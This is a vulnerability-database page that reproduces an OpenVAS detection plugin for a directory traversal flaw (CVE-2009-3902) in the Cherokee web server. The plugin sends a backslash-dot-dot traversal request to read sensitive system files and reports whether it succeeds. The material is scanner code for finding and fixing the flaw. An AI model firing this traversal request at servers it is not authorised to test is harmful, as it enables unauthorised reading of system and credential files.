Lucene search
+L

Cherokee Directory Traversal Vulnerability

🗓️ 30 Oct 2009 00:00:00Reported by Copyright (C) 2009 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 24 Views

Cherokee Directory Traversal Vulnerability in Cherokee web serve

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-3902
28 Oct 200900:00
circl
cve
CVE
CVE-2009-3902
6 Nov 200915:00
cve
cvelist
Cvelist
CVE-2009-3902
6 Nov 200915:00
cvelist
exploitdb
Exploit DB
Cherokee 0.5.4 - Directory Traversal
28 Oct 200900:00
exploitdb
euvd
EUVD
EUVD-2009-3873
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-3902
6 Nov 200915:30
nvd
openvas
OpenVAS
Cherokee Directory Traversal Vulnerability
30 Oct 200900:00
openvas
prion
Prion
Directory traversal
6 Nov 200915:30
prion
ptsecurity
Positive Technologies
PT-2009-6124 · Cherokee · Cherokee Web Server
6 Nov 200900:00
ptsecurity
# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100326");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2009-10-30 14:42:19 +0100 (Fri, 30 Oct 2009)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_cve_id("CVE-2009-3902");

  script_name("Cherokee Directory Traversal Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/36874");
  script_xref(name:"URL", value:"http://freetexthost.com/ncyss3plli");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web Servers");
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_dependencies("gb_cherokee_http_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("cherokee/detected");

  script_tag(name:"summary", value:"Cherokee is prone to a directory traversal vulnerability because it
  fails to sufficiently sanitize user-supplied input data.

  Exploiting the issue may allow an attacker to obtain sensitive
  information that could aid in further attacks.

  Cherokee 0.5.4 and prior versions are vulnerable.");

  script_tag(name:"vuldetect", value:"Tries to read sensitive information.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  exit(0);
}

CPE = "cpe:/a:cherokee-project:cherokee";

include( "host_details.inc" );
include( "os_func.inc" );
include( "http_func.inc" );
include( "http_keepalive.inc" );
include( "traversal_func.inc" );

if( ! port = get_app_port( cpe: CPE, service: "www" ) )
  exit( 0 );

if( ! location = get_app_location( cpe: CPE, port: port ) )
  exit( 0 );

if( location == "/" )
  location = "";

files = traversal_files();

foreach pattern( keys( files ) ) {
  file = files[pattern];

  url = string( location, "/\\../\\../\\../", file );
  req = http_get( item: url, port: port );
  buf = http_keepalive_send_recv( port: port, data: req, bodyonly: TRUE );

  if( http_vuln_check( port: port, url: url, pattern: pattern, check_header: FALSE, icase: TRUE ) ) {
    report = 'It was possible to read sensitive information using directory traversal.\n';
    report += http_report_vuln_url( port: port, url: url );
    security_message( data: report, port: port );
    exit( 0 );
  }
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Apr 2025 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 25
EPSS0.03535
24